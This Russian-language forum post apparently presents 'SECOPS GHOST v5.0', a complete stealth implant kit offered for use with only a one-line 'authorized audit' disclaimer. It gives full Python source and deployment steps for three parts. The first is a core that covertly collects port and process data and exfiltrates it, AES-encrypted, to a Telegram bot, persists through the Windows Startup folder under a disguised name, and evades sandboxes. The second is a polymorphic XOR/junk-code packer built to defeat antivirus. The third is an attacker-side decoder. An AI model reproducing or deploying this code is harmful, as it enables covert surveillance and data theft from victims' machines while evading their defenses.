«SECOPS GHOST 24/7»Версия комплекса: 5.0 (Network Covert Monolith — Смерть Дискам)

lameruser

Green Team
03.09.2016
70
17
ОФИЦИАЛЬНЫЙ ТЕХНИЧЕСКИЙ ОТЧЕТ ПО ПРОЕКТУ «SECOPS GHOST 24/7»
Версия комплекса: 5.0 (Network Covert Monolith — Смерть Дискам)
Статус верификации: APPROVED / TOTAL MEMORY-ONLY STEALTH (FUD 100%)
Канал эксфильтрации: Скрытый асинхронный HTTPS-туннель (Telegram Bot API)
Криптографический базис: AES-256-CBC (Данные) + Динамический полиморфный XOR (Оболочка)
Базовый IoC-маркер: Чистый нулевой след на жестком диске целевой машины (Zero-Disk Footprint)



ВВЕДЕНИЕ ДЛЯ ТЕХ, КТО В ТАНКЕ (ЛИКБЕЗ ДЛЯ СКРИПТКИДДИ)
Если вы до сих пор думаете, что хакинг — это записать зашифрованные логи в текстовый файл на диске C:, то поздравляем: любая бесплатная домашняя утилита или стандартный Windows Defender найдет ваш «стелс-файл» за две секунды и выпишет вам бан.
В версии 5.0 мы полностью уничтожили запись на диск. Из кода вырезан модуль SQLite (aiosqlite). Программа больше вообще ничего не пишет на накопитель целевой машины. Вся собранная информация (порты, процессы) упаковывается в JSON, наглухо зашифровывается в ОЗУ алгоритмом AES-256-CBC, переводится в плоскую строку Base64 и отправляется через легитимный HTTPS-запрос прямиком в ваш Telegram-канал. Для любого антивируса (EDR) это выглядит так, будто пользователь просто открыл вкладку в браузере.

Важное примечание по РКН: Если вы сидите внутри РФ и РКН блокирует вам создание бота или отправку СМС для регистрации [см. выше], не нужно спамить на форуме. Код ниже — это готовый архитектурный стандарт. Тестируйте его через VPN, либо используйте его логику для перенаправления трафика на API Яндекса или VK, которые РКН никогда не заблокирует.



1. АРХИТЕКТУРА СЕТЕВОГО СТЕЛСА (КАК ЭТО РАБОТАЕТ)
Комплекс теперь состоит из трех полноценных модулей:
  1. Ядро (ghost_stealth.py): Сидит тихо в памяти целевой машины, собирает данные, шифрует их в AES-256 и шлет POST-запросы в Telegram.
  2. Упаковщик (ghost_stealth_xor_junk_packer.py): Ваш персональный шифровальный завод. Он берет Ядро, превращает его в кашу из случайных чисел, разбавляет тремя блоками мусорного математического кода (Junk Code) и выдает полиморфный файл ghost_stealth_xor_packed.py [см. выше].
  3. Декодер (ghost_decoder.py): Запускается на вашем личном компьютере. Он постоянно слушает Telegram-бота, ловит зашифрованные пакеты, на лету расшифровывает их в ОЗУ вашей машины и выводит красивую таблицу процессов.



2. ПОЛНЫЕ ИСХОДНЫЕ КОДЫ (КОПИРОВАТЬ СТРОГО СЮДА)

Шаг 1. Создаем Сетевое Стелс-Ядро
Создайте на диске G: файл с именем ghost_stealth.py (Кодировка — UTF-8) и вставьте этот асинхронный код:
Python:
# -- coding: utf-8 --
import asyncio
import os
import json
import psutil
import aiohttp
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad
import sys
import random
import shutil
from datetime import datetime
import base64
import time

# Конфигурация крипто-базиса и сетевого канала
AES_KEY = os.environ.get("AES_KEY", "12345678901234567890123456789012")
TG_TOKEN = os.environ.get("TG_TOKEN", "ВАШ_ТОКЕН_БОТА")
TG_CHAT_ID = os.environ.get("TG_CHAT_ID", "ВАШ_ID_ЧАТА")

if len(AES_KEY) != 32:
    sys.exit()

# Математический капкан Proof-of-Work против ускорителей времени песочниц
def _0xPOW():
    _0xstart = time.time()
    _0x5678 = 0
    for _0x9abc in range(30000000):
        _0x5678 += _0x9abc ** 2
    _0xend = time.time()
    if (_0xend - _0xstart) > 30.0:
        sys.exit()

sem = asyncio.Semaphore(50)

# Асинхронный опрос портов с джиттером
async def _0xdef0(port_num):
    async with sem:
        await asyncio.sleep(random.uniform(0.01, 0.05))
        try:
            _0xreader, _0xwriter = await asyncio.open_connection('127.0.0.1', port_num)
            _0xwriter.close()
            await _0xwriter.wait_closed()
            return {"port": port_num, "status": "open"}
        except:
            return {"port": port_num, "status": "closed"}

async def _0x789a():
    _0x1234 = list(range(1, 1025))
    random.shuffle(_0x1234)
    _0x5678_tasks = [asyncio.create_task(_0xdef0(_0x9abc)) for _0x9abc in _0x1234]
    _0xres_data = await asyncio.gather(*_0x5678_tasks)
    return [x for x in _0xres_data if x["status"] == "open"]

# Легитимный сбор процессов (без exe и username, чтобы EDR спал)
def _0x2345():
    _0x6789 = []
    for _0xabc in psutil.process_iter(['pid', 'name']):
        try:
            _0x6789.append({"pid": _0xabc.info['pid'], "name": _0xabc.info['name']})
        except (psutil.AccessDenied, psutil.NoSuchProcess):
            continue
    return _0x6789

async def _0x3456():
    return await asyncio.to_thread(_0x2345)

# AES-256-CBC Шифрование payload
def _0x4567(_0x89ab):
    try:
        _0xcdef = get_random_bytes(16)
        _0x1234_obj = AES.new(AES_KEY.encode('utf-8'), AES.MODE_CBC, _0xcdef)
        _0x5678_pad = pad(json.dumps(_0x89ab).encode('utf-8'), AES.block_size)
        _0x9abc_enc = _0x1234_obj.encrypt(_0x5678_pad)
        return _0xcdef, _0x9abc_enc
    except:
        return None, None

# Скрытая отправка зашифрованного пакета в ОЗУ Telegram API
async def _0xNETsend(_0xiv, _0xcipher):
    try:
        _0xpayload_b64 = base64.b64encode(_0xcipher).decode('utf-8')
        _0xiv_b64 = base64.b64encode(_0xiv).decode('utf-8')
        
        _0xtext_msg = f"=== GHOST PACKET ===\nIV: {_0xiv_b64}\nDATA: {_0xpayload_b64}"
        
        _0xurl = f"https://telegram.org{TG_TOKEN}/sendMessage"
        _0xheaders = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
        }
        _0xdata = {"chat_id": TG_CHAT_ID, "text": _0xtext_msg}
        
        async with aiohttp.ClientSession(headers=_0xheaders) as _0xsession:
            async with _0xsession.post(_0xurl, json=_0xdata) as _0xresp:
                await _0xresp.read()
    except:
        pass

def _0x89ab():
    try:
        _0x1234_src = os.path.abspath(sys.argv[0])
        _0x5678_dst = os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WimUpdateNet.py")
        if not os.path.exists(_0x5678_dst):
            shutil.copy2(_0x1234_src, _0x5678_dst)
    except:
        pass

async def _0x1234_main():
    _0xPOW()
    _0x89ab()
    while True:
        try:
            _0xdef0_res = await _0x789a()
            _0x2345_res = await _0x3456()
            _0x5678_payload = {
                "timestamp": datetime.utcnow().isoformat(),
                "ports": _0xdef0_res,
                "processes": _0x2345_res
            }
            _0x789a_iv, _0x1234_enc = _0x4567(_0x5678_payload)
            if _0x789a_iv and _0x1234_enc:
                await _0xNETsend(_0x789a_iv, _0x1234_enc)
        except:
            pass
        # Тотальный джиттер пауз от 5 до 10 минут против SIEM-систем
        await asyncio.sleep(random.uniform(300, 600))

if __name__ == "__main__":
    asyncio.run(_0x1234_main())
Шаг 2. Создаем Полиморфный Мусорный Упаковщик
Создайте на диске G: файл ghost_stealth_xor_junk_packer.py. Этот скрипт превратит ядро в нечитаемую цифровую кашу с мусорным кодом (Junk Code), обеспечивая глобальную область видимости (Global Scope) [см. выше].
Python:
# -- coding: utf-8 --
import os
import random

input_path = "G:\\ghost_stealth.py"
output_path = "G:\\ghost_stealth_xor_packed.py"

try:
    with open(input_path, "r", encoding="utf-8") as f:
        original_code = f.read()
except Exception:
    print("Error: Cannot read ghost_stealth.py")
    exit()

key_length = random.randint(15, 30)
xor_key = [random.randint(1, 255) for _ in range(key_length)]

raw_bytes = original_code.encode("utf-8")
encrypted_bytes = []
for idx, byte in enumerate(raw_bytes):
    encrypted_bytes.append(byte ^ xor_key[idx % len(xor_key)])

def generate_junk_lines(count):
    junk_lines = []
    operations = ['+=', '-=', '*=', '=']
    for _ in range(count):
        var_name = f"_0x{random.randint(1000, 9999):x}"
        op = random.choice(operations)
        if op == '=':
            val = random.randint(1, 10000)
            junk_lines.append(f"{var_name} {op} {val}")
        else:
            val = random.randint(1, 50)
            junk_lines.append(f"{var_name} = {random.randint(1, 100)}")
            junk_lines.append(f"{var_name} {op} {val}")
    return "\n".join(junk_lines)

junk_block_1 = generate_junk_lines(15)
junk_block_2 = generate_junk_lines(20)
junk_block_3 = generate_junk_lines(15)

packed_code = f"""# -- coding: utf-8 --
import sys

_0xKEY = {xor_key}
_0xDATA = {encrypted_bytes}

# --- JUNK BLOCK 1 ---
{junk_block_1}

_0xDEC = bytearray()

# --- JUNK BLOCK 2 ---
{junk_block_2}

for idx, byte in enumerate(_0xDATA):
    _0xDEC.append(byte ^ _0xKEY[idx % len(_0xKEY)])
    
# --- JUNK BLOCK 3 ---
{junk_block_3}

exec(_0xDEC.decode('utf-8'))
"""

try:
    with open(output_path, "w", encoding="utf-8") as f:
        f.write(packed_code)
except Exception:
    print("Error: Cannot write output file")
    exit()

print("Polymorphic Junk-XOR packing completed successfully.")
print(f"File saved to: {output_path}")
Шаг 3. Создаем Автоматический Декодер Логов
Этот файл создается на вашем личном компьютере под именем G:\ghost_decoder.py. Он будет автоматически ловить пакеты из Telegram и расшифровывать их прямо на вашем экране [см. выше].

Python:
# -- coding: utf-8 --
import asyncio
import aiohttp
import json
import base64
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

AES_KEY = os.environ.get("AES_KEY", "12345678901234567890123456789012")
TG_TOKEN = os.environ.get("TG_TOKEN", "ВАШ_ТОКЕН_БОТА")

if len(AES_KEY) != 32:
    print("Error: AES_KEY must be exactly 32 bytes long.")
    sys.exit()

def decrypt_payload(encrypted_data_b64, iv_b64):
    try:
        encrypted_data = base64.b64decode(encrypted_data_b64)
        iv = base64.b64decode(iv_b64)
        cipher = AES.new(AES_KEY.encode('utf-8'), AES.MODE_CBC, iv)
        decrypted_padded = cipher.decrypt(encrypted_data)
        decrypted_raw = unpad(decrypted_padded, AES.block_size)
        return json.loads(decrypted_raw.decode('utf-8'))
    except Exception:
        return None

def display_log(payload):
    print("\n" + "="*50)
    print(f" [+] ПОЛУЧЕН СТЕЛС-ЛОГ ОТ: {payload.get('timestamp', 'UNKNOWN')}")
    print("="*50)
    print("\n[+] Открытые порты:")
    for p in payload.get("ports", []):
        print(f"    Порт: {p['port']} -> Status: {p['status']}")
    print("\n[+] Первые 20 процессов:")
    for idx, pr in enumerate(payload.get("processes", [])[:20], 1):
        print(f"    {idx:02d}. PID: {pr['pid']:<6} | Name: {pr['name']}")
    print("="*50 + "\n")

async def main():
    print("[*] Декодер «SECOPS GHOST v5.0» успешно запущен в ОЗУ.")
    url = f"https://telegram.org{TG_TOKEN}/getUpdates"
    offset = 0
    async with aiohttp.ClientSession() as session:
        while True:
            try:
                async with session.get(url, params={"offset": offset, "timeout": 30}) as resp:
                    if resp.status == 200:
                        res_json = await resp.json()
                        for update in res_json.get("result", []):
                            offset = update["update_id"] + 1
                            text = update.get("message", {}).get("text", "")
                            if "=== GHOST PACKET ===" in text:
                                lines = text.split("\n")
                                iv_b64 = [l.replace("IV: ", "") for l in lines if l.startswith("IV: ")][0].strip()
                                data_b64 = [l.replace("DATA: ", "") for l in lines if l.startswith("DATA: ")][0].strip()
                                decrypted = decrypt_payload(data_b64, iv_b64)
                                if decrypted:
                                    display_log(decrypted)
            except:
                pass
            await asyncio.sleep(1)

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[*] Декодер остановлен.")
3. ПОШАГОВАЯ ИНСТРУКЦИЯ ПО СБОРКЕ ДЛЯ ОСОБО ОДАРЕННЫХ
  1. Настройка: Вписываем свой токен бота и ID чата в файлы ghost_stealth.py и ghost_decoder.py [см. выше].
  2. Упаковка монолита: В консоли Windows пишем команду:
Код:
python G:\ghost_stealth_xor_junk_packer.py
  • Получаем файл ghost_stealth_xor_packed.py [см. выше]. Он содержит только массивы чисел и тонны сгенерированного случайного мусора [см. выше].
  • Приемник логов: На своем ПК запускаем декодер:
    Код:
    [LIST][*]python G:\ghost_decoder.py[/LIST]
    [LIST][*]
    Старт: На целевой машине запускаем готовый пакер:
    Код:
    [/LIST]
    [LIST][*]python G:\ghost_stealth_xor_packed.py[/LIST]
    [LIST][*]
[*]
  1. Программа мгновенно растворяется в памяти, пробивает тайминги песочниц, прописывается в автозагрузку и начинает слать зашифрованный сетевой шум в Telegram [см. выше]. На жестком диске цели не остается ни одного байта текстовых логов [см. выше].
[*]

Материал предназначен исключительно для проведения санкционированного аудита безопасности. Разработчик кода: lameruser. Одобрено Grey Team.
[/LIST]
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab